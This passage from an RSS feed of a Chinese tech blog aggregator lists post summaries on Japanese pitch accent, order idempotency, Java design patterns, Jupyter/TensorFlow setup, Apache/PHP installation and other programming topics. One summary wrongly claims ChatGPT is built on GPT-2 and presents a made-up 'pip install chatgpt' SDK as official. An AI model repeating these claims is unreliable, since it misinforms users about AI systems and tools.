      <guid>https://bchobby.github.io/posts/d5caa665bfad746f7d5b53fc2d4cdf33/</guid>
      <description> Releases · dotnetcore/FastGithub · GitHub&#xA;无需安装，双击UI程序即可运行。 </description>
    </item>
    <item>
      <title>日语中单词后面1，2，3，4，5是什么意思</title>
      <link>https://bchobby.github.io/posts/264b00e873c76902fa518f4abcab6333/</link>
      <pubDate>Thu, 27 Jul 2023 15:41:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/264b00e873c76902fa518f4abcab6333/</guid>
      <description>在很多课本和词典的词条后面都有①、②、⓪等数字（⓪是零外面有圈的表示）,很多人表示不解。再有，在讲解日语声调时，常常刊登一大页难以理解的图，有的读者根本无法看明白。在这里把日语声调尽量讲明白，供各位学习时参考。&#xA;任何国家的语言都有声调。中国话的声调（四声）被认为是最难学的，英语、俄语有重音（有的还有次重音）。那么日语的声调特点是什么呢？就是高音。日语单词后面带圈的数字叫“音调核”，告诉读者该词读音由高转低的位置。&#xA;首先应该说明，日语单词的发音比较单纯，除了拗音外，每一个假名为一个拍节（注意：这里包括长音、拨音、促音）。在读单词时要一个假名、一个假名地读，不能贪污掉一个，这里同样包括长音、拨音、促音。如：おかあさん是5个音节（拍节），这里有长音和拨音；ちょっと是3个拍节，这里有拗音和促音。必须正确的发音，这样才能准确地记住。因为发音差一点，意思就有可能发生变化，甚至变成完全不同的单词。那么如何把握调门呢？这就要靠音调核了。&#xA;日语的发音有2个特征：一是单峰型，没有多次起伏。二是前2个假名音调一定相反：第一个高，第二个就低；相反，第一个低，第二个就高。&#xA;明白了这2个特征，加之理解了音调核的含义是：“告诉读者该词读音由高转低的位置”。那么就可以发音读单词了。（由于这里不能用发音示范，只能说明关键问题，其他只好自己领悟了。）&#xA;⓪型：单词不论是几个音节（最少是1个音节），从低音入手，第二拍升高，一直到读到最后拍节也不下降。&#xA;①型：单词不论是几个音节（最少是1个音节），从高音入手，第二拍下降，一直到读到最后拍节也不上升。&#xA;②型：单词不论是几个音节（最少是2个音节），从低音入手，第二拍升高，第三拍下降读到最后拍节也不上升。&#xA;③型：单词不论是几个音节（最少是3个音节），从低音入手，第二拍升高，第三拍保持，第四拍下降，读到最后拍节也不上升。&#xA;④型：单词不论是几个音节（最少是4个音节），从低音入手，第二拍升高，保持到第四拍，第五拍下降，读到最后拍节也不上升。&#xA;⑤型：单词不论是几个音节（最少是5个音节），从低音入手，第二拍升高，保持到第五拍，第六拍下降，读到最后拍节也不上升。&#xA;⑥型：单词不论是几个音节（最少是6个音节），从低音入手，第二拍升高，保持到第六拍，第七拍下降，读到最后拍节也不上升。&#xA;……顺次类推。&#xA;从这里得厂出结论：除“①型从高音入手，第二拍下降，一直到读到最后也不上升”外，其他全是“从低音入手，第二拍升高，一直保持到音调核数字的拍节，然后下降，读到最后拍节也不上升”。也就是说，音调核数字拍节的后面假名，就是读音下降的位置。&#xA;在实际学习单词的过程中，会出现如下几个问题：&#xA;1，有时一个单词标明2个音调核。这说明该词有2种读法，一般读前面标记，但是也可以读后面的标记。&#xA;2，有时一个单词是复合词，由2个单词复合而成。音调核的标记也有2个，中间有“+”号。这样时会出现双峰型。由于一眼就可以看出是复合词，所以双峰也没有关系。&#xA;3，音调核的重要性在于正确发音。但是在说话中掺有各种感情，如：惊讶、愤怒、怀疑、焦急等等，声调会发生变化。在正常情况下，能正常的发出读音就可以了。&#xA;4，有几个比较有对比性的发音要特别记住：&#xA;a， 雨①、饴⓪； 桥②、箸①； 帰る①、変える⓪等假名相同而声调不同、代表的含义不同的单词；&#xA;b， 在こそあど系统中，これ、それ、あれ等近、中、远称均是◎、而疑问称どれ是 ①，这不只是物主代词这样，场所代词、方向代词、连体词、副词也相同。&#xA;c，大部分疑问词都是①，如：なに、だれ、いくつ等等。&#xA;5，在学习中会发现这样的情况：假如是3个拍节的词，有的标记③，有的标记⓪；当然，4个拍节的词，有的标记④，而有的标记⓪；甚至一个3个拍节的词同时标记③⓪；4个拍节的词同时标记④⓪。这是怎么回事呢？&#xA;3个拍节的词标记③，表示当后面添加助词时，助词就要下降；如果标记⓪，则表示当后面添加助词时，助词继续读高，不下降；4个拍节的词也是同样。几个拍节的词都相同。如果同时有④⓪之类的标记，则表示2个读法都可以。&#xA;以上简单地说明了日语单词的发音要领，但是由于这里没有声音设备，只能对纸空谈。不过，有了这些知识，再看着单词后面的音调核，听听磁带的发音，我想就可以掌握要领了。至于能否记住，就在于你练习的次数了。&#xA;重音的位置 1就表示第一个假名重读 3就是第三个假名重读&#xA;有一点要注意 2个假名组成的单体 如果是2的话，读平调，第二个假名不重读</description>
    </item>
    <item>
      <title>【Chat GPT】用 ChatGPT 运行 Python</title>
      <link>https://bchobby.github.io/posts/1078cb723223bcc57f6c07298809b219/</link>
      <pubDate>Thu, 27 Jul 2023 14:08:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1078cb723223bcc57f6c07298809b219/</guid>
      <description>前言 ChatGPT 是一个基于 GPT-2 模型的人工智能聊天机器人，它可以进行智能对话，同时还支持 Python 编程语言的运行，可以通过 API 接口进行调用。本文将介绍如何使用 ChatGPT 运行 Python 代码，并提供一个实际代码案例。&#xA;ChatGPT 简介 ChatGPT 是一个可以与人进行智能对话的人工智能聊天机器人，它基于 GPT-2 模型开发。GPT-2 是 OpenAI 公司开发的一种基于深度学习的自然语言处理模型，它能够生成高质量的文章、诗歌、故事等，同时还能够进行智能对话。ChatGPT 利用 GPT-2 模型进行自然语言理解和生成，可以与用户进行流畅的对话。&#xA;ChatGPT 接口 ChatGPT 提供了 API 接口，可以通过 HTTP 请求向 ChatGPT 发送消息并接收机器人的回复。发送的消息必须使用 JSON 格式，包含以下字段：&#xA;{ &#34;message&#34;: &#34;你好&#34; } 接收到的机器人的回复也是一个 JSON 字符串，包含以下字段：&#xA;{ &#34;message&#34;: &#34;你好呀！&#34; } 其中，message 字段表示回复的文本内容。&#xA;ChatGPT Python SDK 为了方便使用 ChatGPT，我们还提供了一个 Python SDK。可以通过 pip 安装：&#xA;pip install chatgpt 安装完成后，可以通过以下代码进行测试：&#xA;from chatgpt import ChatGPT chatbot = ChatGPT() response = chatbot.</description>
    </item>
    <item>
      <title>后端怎样防止重复提交订单？</title>
      <link>https://bchobby.github.io/posts/5ca404dccf17c61cb3f80d5ba9334e52/</link>
      <pubDate>Thu, 27 Jul 2023 13:51:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ca404dccf17c61cb3f80d5ba9334e52/</guid>
      <description>后端怎样防止重复提交订单？ 1.加乐观锁 既然悲观锁有性能问题，为了提升接口性能，我们可以使用乐观锁。需要在表中增加一个timestamp或者version字段，这里以version字段为例。&#xA;在更新数据之前先查询一下数据：&#xA;select id,amount,version from user id=123; 如果数据存在，假设查到的version等于1，再使用id和version字段作为查询条件更新数据：&#xA;update user set amount=amount+100,version=version+1 where id=123 and version=1; 更新数据的同时version+1，然后判断本次update操作的影响行数，如果大于0，则说明本次更新成功，如果等于0，则说明本次更新没有让数据变更。&#xA;由于第一次请求version等于1是可以成功的，操作成功后version变成2了。这时如果并发的请求过来，再执行相同的sql：&#xA;update user set amount=amount+100,version=version+1 where id=123 and version=1; 该update操作不会真正更新数据，最终sql的执行结果影响行数是0，因为version已经变成2了，where中的version=1肯定无法满足条件。但为了保证接口幂等性，接口可以直接返回成功，因为version值已经修改了，那么前面必定已经成功过一次，后面都是重复的请求。&#xA;具体流程如下：&#xA;具体步骤：&#xA;先根据id查询用户信息，包含version字段根据id和version字段值作为where条件的参数，更新用户信息，同时version+1判断操作影响行数，如果影响1行，则说明是一次请求，可以做其他数据操作。如果影响0行，说明是重复请求，则直接返回成功。 2.根据状态判断 很多时候业务表是有状态的，比如订单表中有：1-下单、2-已支付、3-完成、4-撤销等状态。如果这些状态的值是有规律的，按照业务节点正好是从小到大，我们就能通过它来保证接口的幂等性。&#xA;假如id=123的订单状态是已支付，现在要变成完成状态。&#xA;update `order` set status=3 where id=123 and status=2; 第一次请求时，该订单的状态是已支付，值是2，所以该update语句可以正常更新数据，sql执行结果的影响行数是1，订单状态变成了3。&#xA;后面有相同的请求过来，再执行相同的sql时，由于订单状态变成了3，再用status=2作为条件，无法查询出需要更新的数据，所以最终sql执行结果的影响行数是0，即不会真正的更新数据。但为了保证接口幂等性，影响行数是0时，接口也可以直接返回成功。&#xA;具体流程图如下：&#xA;具体步骤：&#xA;用户通过浏览器发起请求，服务端收集数据。根据id和当前状态作为条件，更新成下一个状态判断操作影响行数，如果影响了1行，说明当前操作成功，可以进行其他数据操作。如果影响了0行，说明是重复请求，直接返回成功。 3.加分布式锁 其实前面介绍过的加唯一索引或者加防重表，本质是使用了数据库的分布式锁，也属于分布式锁的一种。但由于数据库分布式锁的性能不太好，我们可以改用：redis或zookeeper。&#xA;鉴于现在很多公司分布式配置中心改用apollo或nacos，已经很少用zookeeper了，我们以redis为例介绍分布式锁。&#xA;目前主要有三种方式实现redis的分布式锁：&#xA;setNx命令set命令Redission框架 每种方案各有利弊，具体实现细节我就不说了，有兴趣的朋友可以加我微信找我私聊。&#xA;具体流程图如下：&#xA;具体步骤：&#xA;用户通过浏览器发起请求，服务端会收集数据，并且生成订单号code作为唯一业务字段。使用redis的set命令，将该订单code设置到redis中，同时设置超时时间。判断是否设置成功，如果设置成功，说明是第一次请求，则进行数据操作。如果设置失败，说明是重复请求，则直接返回成功。 需要特别注意的是：分布式锁一定要设置一个合理的过期时间，如果设置过短，无法有效的防止重复请求。如果设置过长，可能会浪费redis的存储空间，需要根据实际业务情况而定。</description>
    </item>
    <item>
      <title>一次讲全！Java常见的23种设计模式</title>
      <link>https://bchobby.github.io/posts/05e53caf021ee4efb9dc4fd270ed50e4/</link>
      <pubDate>Thu, 27 Jul 2023 13:18:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05e53caf021ee4efb9dc4fd270ed50e4/</guid>
      <description>、什么是设计模式： 设计模式是一套经过反复使用的代码设计经验，目的是为了重用代码、让代码更容易被他人理解、保证代码可靠性。 设计模式于己于人于系统都是多赢的，它使得代码编写真正工程化，它是软件工程的基石，如同大厦的一块块砖石一样。项目中合理的运用设计模式可以完美的解决很多问题，每种模式在现实中都有相应的原理来与之对应，每种模式描述了一个在我们周围不断重复发生的问题，以及该问题的核心解决方案，这也是它能被广泛应用的原因。&#xA;二、Java的23种设计模式： 接下来我们详细介绍Java中23种设计模式的概念，应用场景等情况，并结合他们的特点及设计模式的原则进行分析！&#xA;1、创建型-工厂方法模式： 工厂方法模式分为三种：&#xA;（1）简单工厂模式：&#xA;建立一个工厂类，并定义一个接口对实现了同一接口的产品类进行创建。首先看下关系图：&#xA;（2）工厂方法模式：&#xA;工厂方法模式是对简单工厂模式的改进，简单工厂的缺陷在于不符合“开闭原则”，每次添加新产品类就需要修改工厂类，不利于系统的扩展维护。而工厂方法将工厂抽象化，并定义一个创建对象的接口。&#xA;每增加新产品，只需增加该产品以及对应的具体实现工厂类，由具体工厂类决定要实例化的产品是哪个，将对象的创建与实例化延迟到子类，这样工厂的设计就符合“开闭原则”了，扩展时不必去修改原来的代码。&#xA;（3）静态工厂方法模式：&#xA;静态工厂模式是将工厂方法模式里的方法置为静态的，不需要创建实例，直接调用即可。&#xA;2、创建型-抽象工厂模式： 抽象工厂模式主要用于创建相关对象的家族。当一个产品族中需要被设计在一起工作时，通过抽象工厂模式，能够保证客户端始终只使用同一个产品族中的对象；并且通过隔离具体类的生成，使得客户端不需要明确指定具体生成类；所有的具体工厂都实现了抽象工厂中定义的公共接口，因此只需要改变具体工厂的实例，就可以在某种程度上改变整个软件系统的行为。&#xA;但该模式的缺点在于添加新的行为时比较麻烦，如果需要添加一个新产品族对象时，需要更改接口及其下所有子类，这必然会带来很大的麻烦。&#xA;UML结构图如下：&#xA;3、创建型-建造者模式： 建造者模式将复杂产品的创建步骤分解在在不同的方法中，使得创建过程更加清晰，从而更精确控制复杂对象的产生过程；通过隔离复杂对象的构建与使用，也就是将产品的创建与产品本身分离开来，使得同样的构建过程可以创建不同的对象；&#xA;并且每个具体建造者都相互独立，因此可以很方便地替换具体建造者或增加新的具体建造者，用户使用不同的具体建造者即可得到不同的产品对象。&#xA;4、创建型-单例模式： 单例模式可以确保系统中某个类只有一个实例，该类自行实例化并向整个系统提供这个实例的公共访问点，除了该公共访问点，不能通过其他途径访问该实例。&#xA;单例模式的优点在于：系统中只存在一个共用的实例对象，无需频繁创建和销毁对象，节约了系统资源，提高系统的性能；可以严格控制客户怎么样以及何时访问单例对象。&#xA;5、创建型-原型模式： 原型模式也是用于对象的创建，通过将一个对象作为原型，对其进行复制克隆，产生一个与源对象类似的新对象。&#xA;UML类图如下：&#xA;在 Java 中，原型模式的核心是就是原型类 Prototype，Prototype 类需要具备以下两个条件：实现 Cloneable 接口；重写 Object 类中的 clone() 方法，用于返回对象的拷贝。&#xA;Object 类中的 clone() 方法默认是浅拷贝，如果想要深拷贝对象，则需要在 clone() 方法中自定义自己的复制逻辑：&#xA;浅复制：将一个对象复制后，基本数据类型的变量会重新创建，而引用类型指向的还是原对象所指向的内存地址。&#xA;深复制：将一个对象复制后，不论是基本数据类型还有引用类型，都是重新创建的。&#xA;上面我们介绍了5种创建型模式，下面我们就开始介绍下7种结构型模式：适配器模式、装饰模式、代理模式、外观模式、桥接模式、组合模式、享元模式。&#xA;6、结构型-适配器模式： 适配器模式主要用于将一个类或者接口转化成客户端希望的格式，使得原本不兼容的类可以在一起工作，将目标类和适配者类解耦；同时也符合“开闭原则”，可以在不修改原代码的基础上增加新的适配器类；将具体的实现封装在适配者类中，对于客户端类来说是透明的，而且提高了适配者的复用性，但是缺点在于更换适配器的实现过程比较复杂。&#xA;所以，适配器模式比较适合以下场景：&#xA;（1）系统需要使用现有的类，而这些类的接口不符合系统的接口。&#xA;（2）使用第三方组件，组件接口定义和自己定义的不同，不希望修改自己的接口，但是要使用第三方组件接口的功能。&#xA;7、结构型-装饰器模式： 装饰器模式可以动态给对象添加一些额外的职责从而实现功能的拓展，在运行时选择不同的装饰器，从而实现不同的行为；比使用继承更加灵活，通过对不同的装饰类进行排列组合，创造出很多不同行为，得到功能更为强大的对象；符合“开闭原则”，被装饰类与装饰类独立变化，用户可以根据需要增加新的装饰类和被装饰类，在使用时再对其进行组合，原有代码无须改变。&#xA;但是装饰器模式也存在缺点，首先会产生很多的小对象，增加了系统的复杂性，第二是排错比较困难，对于多次装饰的对象，调试时寻找错误可能需要逐级排查，较为烦琐。&#xA;8、结构型-代理模式： 代理模式的设计动机是通过代理对象来访问真实对象，通过建立一个对象代理类，由代理对象控制原对象的引用，从而实现对真实对象的操作。&#xA;在代理模式中，代理对象主要起到一个中介的作用，用于协调与连接调用者(即客户端)和被调用者(即目标对象)，在一定程度上降低了系统的耦合度，同时也保护了目标对象。但缺点是在调用者与被调用者之间增加了代理对象，可能会造成请求的处理速度变慢。&#xA;9、结构型-桥接模式： 桥接模式将系统的抽象部分与实现部分分离解耦，使他们可以独立的变化。为了达到让抽象部分和实现部分独立变化的目的，桥接模式使用组合关系来代替继承关系，抽象部分拥有实现部分的接口对象，从而能够通过这个接口对象来调用具体实现部分的功能。&#xA;也就是说，桥接模式中的桥接是一个单方向的关系，只能够抽象部分去使用实现部分的对象，而不能反过来。&#xA;桥接模式符合“开闭原则”，提高了系统的可拓展性，在两个变化维度中任意扩展一个维度，都不需要修改原来的系统；并且实现细节对客户不透明，可以隐藏实现细节。但是由于聚合关系建立在抽象层，要求开发者针对抽象进行编程，这增加系统的理解和设计难度。&#xA;就像在Java中我们使用 JDBC 连接数据库时，在各个数据库之间进行切换，基本不需要动太多的代码，原因就是使用了桥接模式，JDBC 提供统一接口，每个数据库提供各自的实现，然后由桥接类创建一个连接数据库的驱动，使用某一个数据库的时候只需要切换一下就行。&#xA;10、结构型-外观模式： 外观模式通过对客户端提供一个统一的接口，用于访问子系统中的一群接口。使用外观模式有以下几点好处：&#xA;（1）更加易用：使得子系统更加易用，客户端不再需要了解子系统内部的实现，也不需要跟众多子系统内部的模块进行交互，只需要跟外观类交互就可以了；</description>
    </item>
    <item>
      <title>删除原安装jupyter，在anaconda中重新安装jupyter，修改jupyter默认启动位置，在anaconda中jupyter配置tensorflow模块</title>
      <link>https://bchobby.github.io/posts/20684ca6ea0f4eb9e8d88cc51bc2a5b0/</link>
      <pubDate>Thu, 27 Jul 2023 13:05:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20684ca6ea0f4eb9e8d88cc51bc2a5b0/</guid>
      <description>删除 原安装的jupyter并不是基于anaconda环境进行安装的，完全删除jupyter pip uninstall jupyter pip uninstall jupyter_core pip uninstall jupyter-client pip uninstall jupyter-console pip uninstall notebook pip uninstall qtconsole pip uninstall nbconvert pip uninstall nbformat 上述内容删除之后，查询文件夹会发现，该路径下C:\Users(你的用户名) 还存在着.jupyter文件夹，里面包含着对jupyter初始启动页面的路径配置，这个可以删除，也可以放任不管（建议删除） 安装 然后重新安装 jupyter打开anaconda prompt pip install jupyter 对于缺少的内容，一律按如下处理 pip install 缺少的内容 # 例如 pip install jupyter_core 修改 安装完后如果需要修改jupyter启动页面可以到C:\Users(你的用户名) 该路径下.jupyter文件夹中，打开jupyter_notebook_config.py，查找c.NotebookApp.notebook_dir = ，修改为你希望的默认启动位置，例如我的 c.NotebookApp.notebook_dir = &#39;E:\jupyter&#39; tensorflow 安装 # 打开anaconda prompt # 查询python版本 python --version # 创建tensorflow虚拟环境 conda create -n tensorflow_env python=3.9.1 # 启动虚拟环境 activate tensorflow_env # 安装tensorflow pip install tensorflow # 如果出现error提示，则按照提示进行pip相应的文件，然后再安装一次tensorflow确保没有缺少 # 将 tensorflow 嵌入到 jupyter conda install ipython conda install jupyter # 安装ipykernel conda install ipykernel # 绑定内核 # tensorflow_env 为虚拟环境名称 # python(tensorflow) 为显示名称 python -m ipykernel install --user --name tensorflow_env --display-name &#34;</description>
    </item>
    <item>
      <title>小程序 wxchart 使用简单入门</title>
      <link>https://bchobby.github.io/posts/6173a6fbb8f124107b6d2abfc3beb12d/</link>
      <pubDate>Thu, 27 Jul 2023 11:52:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6173a6fbb8f124107b6d2abfc3beb12d/</guid>
      <description>官方参考： Example - wxCharts使用说明 · Issue #58 · xiaolin3303/wx-charts · GitHub&#xA;引入 地址：GitHub - xiaolin3303/wx-charts: 微信小程序图表charts组件，Charts for WeChat Mini Program&#xA;把clone下来的文件里dist下面的wxcharts.js或者wxcharts-min.js放到自己文件目录中&#xA;常用参数说明 参数说明&#xA;opts Object&#xA;opts.canvasId String Required 对应wxml中的canvasId&#xA;opts.type String Required 图表类型，可选值为：pie、line、column、area、ring、radar&#xA;opts.width Number Required canvas宽度，单位px&#xA;opts.height Number Required canvas高度，单位px&#xA;opts.legend Boolean 是否显示图表下方各类别的标识，默认true&#xA;opts.background String canvas背景颜色 ，默认#fff&#xA;opts.animation Boolean 是否动画展示，默认true&#xA;opts.enableScroll Boolean 是否开启图表可拖拽滚动，默认false，支持 line、area 图表类型（需配合绑定scrollStart, scroll, scrollEnd 方法）&#xA;opts.categories Array Required 数据类别分类 (pie、ring 图表不需要)&#xA;opts.dataLabel Boolean 是否在图表中显示数据内容值，默认true&#xA;opts.dataPointShare Boolean 是否在图表中显示数据点图形标识，默认true</description>
    </item>
    <item>
      <title>异步编程简介</title>
      <link>https://bchobby.github.io/posts/367c13eb86a6482871f6dc3f1ce918a3/</link>
      <pubDate>Thu, 27 Jul 2023 04:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/367c13eb86a6482871f6dc3f1ce918a3/</guid>
      <description>异步编程简介 异步编程是一种编程模式，旨在提高程序的性能和响应速度。通过将某些任务异步执行，程序可以在等待结果时继续执行其他任务，从而减少了阻塞和等待的时间。在本篇博客中，我们将详细探讨异步编程的各个方面，并介绍常见的异步编程技术和工具。&#xA;什么是异步编程？ 传统的同步编程方式中，代码会按照顺序依次执行，直到前一个任务完成后才能执行下一个任务。这种方式在执行耗时较长的任务时，会导致程序的阻塞和响应缓慢。而异步编程通过将任务分解为更小的子任务，并且不需要等待前一个任务完成，从而实现并行执行多个任务的效果。&#xA;异步编程的核心思想是任务的提交和处理是分离的，任务提交后立即返回，由其他部分负责处理该任务的执行和结果。这种方式可以充分利用系统资源，提高程序的效率和吞吐量。&#xA;为什么使用异步编程？ 使用异步编程的好处包括：&#xA;提高程序的响应速度：异步编程可以减少等待时间，从而提高程序的响应速度，使用户获得更好的体验。&#xA;充分利用系统资源：异步编程可以并行执行多个任务，充分利用系统的处理能力，提高程序的效率。&#xA;改善用户界面的体验：在图形用户界面（GUI）应用程序中，异步编程可以防止用户界面的卡顿和无响应，增强用户的交互体验。&#xA;处理大量并发请求：异步编程对于处理大量并发请求非常有用，例如网络服务器应用程序中的请求处理。&#xA;常见的异步编程技术和工具 以下是一些常见的异步编程技术和工具：&#xA;1. 异步函数和回调 异步函数和回调是最常见的异步编程方式之一。在异步函数中，任务被封装为一个函数，并通过回调函数来处理任务的结果。当任务完成时，回调函数会被调用，从而继续执行后续的操作。&#xA;async function foo(callback) { // 异步任务的实现 // ... callback(result); } foo(function(result) { // 处理任务的结果 }); 2. Promise Promise 是一种用于处理异步操作的对象。它表示一个初始处于 pending（等待）状态的任务，并且可以在任务完成后变为 resolved（已完成）或 rejected（已拒绝）状态。Promise 提供了链式调用的机制，从而简化了异步代码的编写和管理。&#xA;const promise = new Promise((resolve, reject) =&amp;gt; { // 异步任务的实现 // ... if (任务成功) { resolve(result); } else { reject(error); } }); promise.then(result =&amp;gt; { // 处理任务的结果 }).catch(error =&amp;gt; { // 处理任务的错误 }); 3.</description>
    </item>
    <item>
      <title>虚拟机中的win10连不上网怎么办？</title>
      <link>https://bchobby.github.io/posts/3a5c6867c14e7961781f8e817faf255f/</link>
      <pubDate>Thu, 27 Jul 2023 00:07:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a5c6867c14e7961781f8e817faf255f/</guid>
      <description> 安装VMware 16和在其中安装win10系统参考这篇，很有详细且有用。&#xA;这篇主要记录我安装后发现虚拟机中win10连不上网了，查了好多，终于有一个方法弄好了。&#xA;1.打开主机的网络连接&#xA;双击所连接的网络的属性——&amp;gt;共享 ，将小勾勾全部勾上点击确定，如果提示出现意外情况巴拉巴拉的，没事点确定就行了。&#xA;2.打开虚拟机 ，将要用的虚拟机的网络配置器改为NAT模式，开机就应该连上了&#xA;这样应该没问题了。 </description>
    </item>
    <item>
      <title>Win10部署Apache和PHP</title>
      <link>https://bchobby.github.io/posts/17a47d4c1d4a744f2cd17320acbc1a72/</link>
      <pubDate>Wed, 26 Jul 2023 18:41:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17a47d4c1d4a744f2cd17320acbc1a72/</guid>
      <description>Win10部署Apache和PHP&#xA;一：部署理由&#xA;不少初学者同学在学习之初由于Apache、PHP和MySQL的安装和配置较为复杂，因此都是使用WAMP（Windows + Apache + MySQL + PHP）的集成环境（如PHPstydy、WampServer、AppServ等），这样就可以免去单独安装配置服务器的麻烦。但集成环境中使用的PHP都是非线程安全的版本（Not Thread Safe NTS），部分功能是不能使用的。&#xA;二：部署过程&#xA;（1）：Apache的下载和安装、卸载&#xA;第一步:登录Apache官网下载安装包。 下载地址1：Apache VS17 binaries and modules download&#xA;下载地址2：Apache Haus Downloads&#xA;第二步：将下载的Apache压缩包进行解压，再将文件放置于本地（如：E:\WAMP\Apache24）&#xA;第三步：配置Apache文件&#xA;打开Apache文件，找到conf文件并打开，打开httpd.conf文件，找到并修改 Define SRVROOT “E:\WAMP\Apache24”(既Apache文件所在路径) 使用Vscode将httpd.conf文件打开，找到73行左右，添加红框内代码。（路径修改为PHP所在的路径）【注意：此处最好将php8_module修改为php_module，避免发生后文提到的错误】 （3）：在httpd.conf文件中找到AddType,添加：AddType application/x-httpd-php .php .html .htm&#xA;（4）：为了避免和其他HTTP服务器占用的80端口冲突，可自定义修改端口号。&#xA;（5）：以管理员身份运行cmd命令窗口，进入Apache安装目录下的bin文件夹（若将apache文件添加至系统环境变量，则不需要在bin目录下运行命令），输入命令 httpd -k install进行安装apache服务器。&#xA;第四步：启动Apache&#xA;方式1：打开Apache文件，找到bin目录下的ApacheMonitor.exe文件，点击start。&#xA;方式2：在cmd窗口输入httpd -k start&#xA;第五步：测试是否安装成功。打开浏览器输入 http://localhost:设置的端口号（如：http://localhost:8081），出现下图内容则表示成功安装。&#xA;Apache的卸载：&#xA;若不再需要使用Apache，要将其卸载，必须先暂停Apache的服务，若直接从路径中删除Apache文件，容易造成文件残留。&#xA;第一步：停止Apache服务 命令：net stop Apache2.4 或 httpd -k stop 或 右击“此电脑”——&amp;gt;选择“管理”——&amp;gt;“服务和应用程序”——&amp;gt;“服务”，找到Apache服务关停。&#xA;第二步：卸载Apache 命令：sc delete apache2.4 或 httpd -k uninstall -n apache2.</description>
    </item>
    <item>
      <title>element-ui 分页pagination组件 动态设置默认页码</title>
      <link>https://bchobby.github.io/posts/2f0544fed2c5fac8aa6391a214ad7db0/</link>
      <pubDate>Wed, 26 Jul 2023 16:58:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f0544fed2c5fac8aa6391a214ad7db0/</guid>
      <description> &amp;lt;el-pagination hide-on-single-page @current-change=&#34;Current&#34; :page-size=&#34;pageSize&#34; :pager-count=&#34;11&#34; ref=&#34;pagination&#34; layout=&#34;prev, pager, next&#34; :total=&#34;data.total&#34; :current-page=&#34;pageIndex&#34; &amp;gt;&amp;lt;/el-pagination&amp;gt; 直接上代码&#xA;this.$nextTick(() =&amp;gt; {//注意要用this.$nextTick，否则不生效 this.$refs.pagination.internalCurrentPage = this.pageIndex; }) </description>
    </item>
    <item>
      <title>软件设计师中级王勇老师课程笔记-10数据流图DFD&#43;数据库</title>
      <link>https://bchobby.github.io/posts/c120362d9ec36bc9025f47fc9d0297bb/</link>
      <pubDate>Wed, 26 Jul 2023 15:05:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c120362d9ec36bc9025f47fc9d0297bb/</guid>
      <description>根据软考-软件设计师中级考试王勇老师课程做的手写笔记，包含12个章节，计算机组成与体系结构、操作系统、数据库系统、计算机网络、数据结构与算法基础、程序设计语言与语言处理基础、法律法规、软件工程、面向对象、数据库和数据流图、UML、数据结构与算法应用、面向对象程序设计等内容，个人认为本笔记可以用来过一遍基础知识，王勇老师讲的一些技巧还是比较实用的，有问题欢迎指正！&#xA;欢迎大家下载呀！</description>
    </item>
    <item>
      <title>[Python]前端11_Web框架</title>
      <link>https://bchobby.github.io/posts/3baf2b5ffdc5fa4c87524828e6ab7c11/</link>
      <pubDate>Wed, 26 Jul 2023 11:27:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3baf2b5ffdc5fa4c87524828e6ab7c11/</guid>
      <description> Web框架 Python的主流Web框架是： 1.Django： Django是一个高级的、全功能的 Web 框架，被广泛用于构建复杂而强大的 Web 应用程序。 它提供了许多内置的功能和工具，如管理员界面、身份验证、数据库ORM等，使开发者能够快速构建稳定、可扩展的应用程序。 2.Flask： Flask 是一个简约而灵活的微型Web框架，专注于构建小型或中型的 Web 应用程序和 API。 相比于 Django，Flask更加轻量级，并允许开发者根据需要选择所需的插件和库，以便在项目中进行定制。 3.Pyramid： Pyramid 是一个通用的 Web 框架，可以满足从小型到大型应用程序的需求。 它提供了一种灵活且可扩展的方式来构建 Web 应用程序，并支持各种功能，如URL路由、会话管理、表单处理等。 Pyramid提倡对应用程序结构的自由控制，并鼓励使用现有的Python工具和库来实现功能。 4.Tornado： Tornado 并没有被完全淘汰出三大主流框架之一。 尽管 Django、Flask 和 Pyramid 是 Python 生态系统中最受欢迎的 Web 框架，但 Tornado 仍然有其独特的优势和用途。 Tornado 是一个高性能的异步Web框架，它以支持并发处理和非阻塞IO操作为目标。 它经常用于构建高度可扩展且具有实时响应需求的应用程序，例如聊天应用、实时消息传递系统和实时分析工具等。 由于其出色的性能和强大的异步功能，Tornado 在特定场景下仍然被广泛使用。 虽然 Django、Flask 和 Pyramid 更加通用、适用于各种类型的 Web 应用程序， 但 Tornado 的专长在于处理大量并发连接和实时性要求较高的应用。 总结： 1.django 特点：大而全，自带的功能特别多，即：庞然大物 不足：有时候显得笨重 2.flask 特点：短小精悍，自带的功能非常少， 但是它第三方的模块特别多，如果将flask第三方模块全部加起来完全盖过django 不足：比较依赖第三方的开发者，而且兼容性问题不容小觑 3.tornado 特点：异步非阻塞，支持高并发（甚至可以开发游戏服务器） 不足：自行了解... 因此，根据项目需求和技术要求，开发者可以根据情况选择合适的框架，并在需要时考虑使用 Tornado 来满足特殊的需求。 这些框架都具有优秀的生态系统和活跃的开发社区，且得到了广泛的应用和支持。选择哪个框架取决于项目需求、开发团队的喜好以及个人技能水平。 补充： 我们从手动搭建web框架中可知，框架主要是下面部分组成 A部分:socket部分 B部分:路由与视图函数对应关系（路由匹配） C部分:模板语法 django A部分用的是别人的（wsgiref模块） B部分用的是自己的 C部分用的是自己的（没有jinja2模块好用，但是也很方便） flask A部分用的是别人的（werkzeug,而werkzeug内部还是wsgiref模块） B部分用的是自己的 C部分用的是别人的（jinja2模块） tornado A、B、C部分都是自己写的 </description>
    </item>
    <item>
      <title>[Python]前端10_手动搭建Web框架</title>
      <link>https://bchobby.github.io/posts/bb12eaff1e0ecca178fd5eee23658e58/</link>
      <pubDate>Wed, 26 Jul 2023 11:26:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb12eaff1e0ecca178fd5eee23658e58/</guid>
